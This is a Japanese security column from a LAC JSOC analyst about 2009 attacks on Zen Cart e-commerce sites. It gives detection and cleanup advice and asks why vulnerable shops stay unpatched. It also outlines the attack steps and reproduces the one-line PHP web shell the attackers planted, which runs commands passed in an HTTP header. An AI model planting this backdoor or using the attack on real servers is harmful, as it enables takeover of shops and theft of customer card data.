平穏に見えても実は……
皆さんこんにちは、川口です。普段仕事をしていると社会人との付き合いが多くなるのですが、8月のセキュリティ＆プログラミングキャンプ以降、学生の方との出会いのイベントが立て続けに2つありました。1つは弊社の親会社であるラックホールディングスの2010年度内定者向けイベント、もう1つはIT Keysと呼ばれるイベントです。
どちらも20代前半のIT系企業を志望する学生たちに対して、JSOCを見学してもらいました。このような社外向けへのイベントの対応も、エバンジェリストとしての大事な務めです。
そんな学生たちが見学したJSOCは平穏そうに見えますが、実際にはさまざまなインシデントが発生していました。今回は、学生たちがJSOCを見学していた時期である8月ころから始まった、あるインシデントの傾向について取り上げます。
Zen Cartへの攻撃
先日、オープンソースのECサイト構築システムであるZen Cartに関する注意喚起を出しました。
【参考】
FrontPage - Zen Cart 日本語公式サイト
http://zen-cart.jp/
Zen Cartは同じくオープンソースの著名なECサイト構築システムであるosCommerceから派生したプロジェクトであり、SEO(サーチエンジン対策)の考慮、豊富なプロモーション機能、XHTML/CSSによるデザインテンプレートシステムの採用、そしてオブジェクト指向によるプログラムソースの変更など、より先進的なビジョンに基づき日々進化しています。
(上記公式サイトより引用）
ECアプリケーション「Zen Cart」に関する注意喚起
http://www.lac.co.jp/info/alert/alert20091008.html
この攻撃は以下のような流れで行われます。
（0）攻撃者はGoogleやYahooなどの検索エンジンで攻撃対象となるWebサーバをリストアップする。
（1）「/zen-cart/zen-cart/admin/」ディレクトリにアクセス可能かどうかを確認する。
（2）POSTリクエストでバックドアを作成する。
この画像ではリクエストヘッダだけを載せていますが、実際にはPOSTのリクエストボディに作成するバックドアが含まれています。今回作成されたバックドアは以下のようにたった1行です。
<?php system($_SERVER["HTTP_SHELL"]); ?>
（3）作成したバックドアに対してコマンドを実行する
一見すると、作成したバックドアへGETでリクエストしているだけのように見えますが、SHELLというヘッダの後ろに実行したいコマンドを付けることで、サーバ上でコマンドの実行が可能です。
どう対応するべきか
この攻撃への対応策は、最新版のZen Cartを使うことです。Zen Cartを使っている人は最新バージョンへバージョンアップしましょう。
どうしてもバージョンアップができない人は、IDS／IPS／WAFなどのセキュリティ機器で攻撃を防御することになりますが、今回の攻撃はファイルをアップロードする機能の脆弱性を悪用してバックドアファイルを作成していますので、注意が必要です。そのため、（2）のフェイズでの攻撃をIDS／IPSは「まったく」検知していませんでした。
JSOCでは、（3）のフェイズでの攻撃だけをJSIGで検知しており、かろうじてこの攻撃の存在に気付くことができました。ご利用のセキュリティ機器で対応可能であるかを必ず確認してください。
この攻撃によってZen Cartが被害を受けているかどうかを知るには、以下の点を確認してください。
- imagesディレクトリ内に不審なPHPファイルがないか確認する。見たことのないPHPファイルがあれば、それはバックドアかもしれません。
- Zen Cartが利用するデータベース内のテーブルrecord_companyに不正に作成されたファイル名を含むレコードが追加されていないか確認する。
- Webサーバにて見知らぬユーザーやプロセスが稼働していないか確認する。
- Webサーバのログを確認する。バックドアに対してのアクセスがあれば要注意。しかし、一般的なWebサーバのログ取得設定では実行されたコマンドまでは記録されません。
万が一、攻撃によって被害を受けていた場合は、必要なデータのみをバックアップし、システムを再構築することをお勧めします。中途半端に修正、削除を行っても攻撃者がどこに何を仕込んでいるか分かりません。さらにECサイトということで、カード情報を保有している場合には、念入りに調査を行ってください。
脆弱性があるのに、なぜバージョンアップされないのか？
攻撃が行われる原因は、「そこに脆弱なZen Cartがあるから」です。
6月に脆弱性が発表されから4カ月の時間が経過していますが、いまだにバージョンアップされていないWebサイトが多数あるようです。バージョンアップされない理由は何なのでしょうか。考えてみました。
- 脆弱性情報の存在を知らない
- 脆弱性への対処方法が分からない(意味を読み取れない)
- ホスティング環境で使っており、バージョンアップできない
- カスタマイズして使っているので修正、バージョンアップにコストがかかりすぎる
- バージョンアップ自体のコストを捻出できない
- バージョンアップ作業で止めている期間の売り上げダウンが怖い
このコラムを読んでいるような人であれば1．という可能性は少ないと思いますが、脆弱性情報のチェックから抜けている可能性もあります。
2．の対処方法が分からない、については、脆弱性情報を公開する側の情報の出し方が問われます。あまりに詳細に情報を出すことで、攻撃方法を特定できてしまうという考え方もありますが、オープンソースである以上、パッチなどを解析すれば問題の個所を特定することは容易であり、隠していても仕方ありません。
同じECサイト用パッケージである「EC-CUBE」は脆弱性のある場所の修正個所が細かく記載してあり、対処する側としてもバージョンアップ以外の選択肢を取れることがありがたいです。EC-CUBEのようにオープンソースのものはバージョンアップ以外の手段も公開される風潮になることを願っています。
3．のホスティング環境においては、権限や対応範囲、サポート範囲などの関係もあり、対処が難しい場合も多くあるでしょう。例えば大塚商会のサービスでは、以下のようにZen Cartの脆弱性に関するアナウンスが行われています。ホスティングサービスを利用するユーザーはホスティング事業者側からアナウンスされる脆弱性情報もチェックしなければなりません。
【参考】
2009/09/16 | サービス関連情報｜最新情報｜アルファメール プレミア 会員サイト
http://www.alpha-prm.jp/new/service/2009/0916_929.html
4〜6．のコストに関する問題については、Zen Cartに限らず、ECサイトを運営する事業者全員が抱える悩みです。サイト運営には脆弱性対応というコストがかかることを認識し、対応するしかありません。対応しないという選択肢はないにしても、脆弱性に対応するまでの間、どのようにウェブサイトを保護するかを考えなければなりません。
学生が来れば思い出す……？
今回は見学に来ていた学生たちの向こう側で起こっていたインシデントについてのお話でした。そういえば、第7回目のコラムで書いたように、学生が見学しているときには何か思い出深いインシデントが発生しています。次の学生たちが見学してくれるときには平和であってほしいと願いつつ、見学していた学生たちがラックに入社して一緒にお酒が飲めることを夢見ながら、今日も飲みに行くのでした。
【関連記事】
川口洋のセキュリティ・プライベート・アイズ（7）
夏が来れば思い出す……
http://www.atmarkit.co.jp/fsecurity/column/kawaguchi/007.html
Profile
川口 洋（かわぐち ひろし）
株式会社ラック
JSOCチーフエバンジェリスト兼セキュリティアナリスト
CISSP
ラック入社後、IDSやファイアウォールなどの運用・管理業務をへて、セキュリティアナリストとして、JSOC監視サービスに従事し、日々セキュリティインシデントに対応。
アナリストリーダとして、セキュリティイベントの分析とともに、IDS／IPSに適用するJSOCオリジナルシグネチャ(JSIG)の作成、チューニングを実施し、監視サービスの技術面のコントロールを行う。
現在、JSOCチーフエバンジェリスト兼セキュリティアナリストとして、JSOC全体の技術面をコントロールし、監視報告会、セミナー講師など対外的な活動も行う。
- 「DNS通信」記録していますか？――万一に備えたDNSクエリログの保存方法
- Web広告からのマルウエア感染「Malvertising」にどう対処すべきか
- 中の人が振り返る「Hardening 10 ValueChain」――学びにつながった「トラブルの数々」とは
- 無慈悲な専門家チーム「kuromame6」の暗躍に負けず勝利をつかんだチームは？
- 外部リソースの活用もポイントに、「Hardening 10 MarketPlace」開催
- Hardening Projectから派生した「MINI Hardening Project」に行ってみた！
- 「これさえしておけば助かったのに……」を避けるため、今すぐ確認すべき7項目
- アップデート機能を悪用した攻撃に対抗セヨ！
- 工夫、工夫そして工夫――Hardening 10 APAC“運営”レポート
- ウイルスとは言い切れない“悪意のあるソフトウェア”
- 2013年のセキュリティインシデントを振り返る
- ここが変だよ、そのWeb改ざん対応
- きっかけは不正侵入――私がセキュリティ業界に足を踏み入れたワケ
- CMSが狙われる3つの理由
- FacebookやApple、MSまで……Javaの脆弱性を狙う攻撃の手口
- Hardening One、8時間に渡る戦いの結果は？
- そのときStarBEDが動いた――「Hardening One」の夜明け前
- ロシアでわしも考えた
- 実録、「Hardening Zero」の舞台裏
- ちょっと変わったSQLインジェクション
- 官民連携の情報共有を真面目に考える
- アプリケーションサーバの脆弱性にご注意を
- IPv6、6つの悩み事
- スパムが吹けば薬局がもうかる
- JSOCに飛び込んできた不審なメール――これが標的型攻撃の実態だ
- 東日本大震災、そのときJSOCは
- ペニーオークションのセキュリティを斬る
- 2010年、5つの思い出――Gumblarからキャンプまで
- 9・18事件にみる7つの誤解
- 曇りのち晴れとなるか？ クラウド環境のセキュリティ
- Webを見るだけで――ここまできたiPhoneの脅威
- 不安が残る、アドビの「脆弱性直しました」
- ともだち373人できるかな――インターネットメッセンジャーセキュリティ定点観測
- 実録・4大データベースへの直接攻撃
- Gumblar、いま注目すべきは名前ではなく“事象”
- Gumblarがあぶり出す 「空虚なセキュリティ対策」
- 新春早々の「Gumblar一問一答」
- 実はBlasterやNetsky並み？静かにはびこる“Gumblar”
- ECサイトソフトウェアはなぜ更新されないのか
- 狙われるphpMyAdmin、攻撃のきっかけは？
- 学生の未来に期待する夏
- 米韓へのDoS攻撃に見る、検知と防御の考え方
- 分かっちゃいるけど難しい、アカウント情報盗用ボット対策
- 狙われる甘〜いTomcat
- 表裏一体、あっちのリアルとこっちのサイバー
- 世間の認識と脅威レベルのギャップ――XSSは本当に危ないか？
- 急増したSQLインジェクション、McColo遮断の影響は
- ○×表の真実：「検知できる」ってどういうこと？
- ところで、パッケージアプリのセキュリティは？
- レッツ、登壇――アウトプットのひとつのかたち
Copyright © ITmedia, Inc. All Rights Reserved.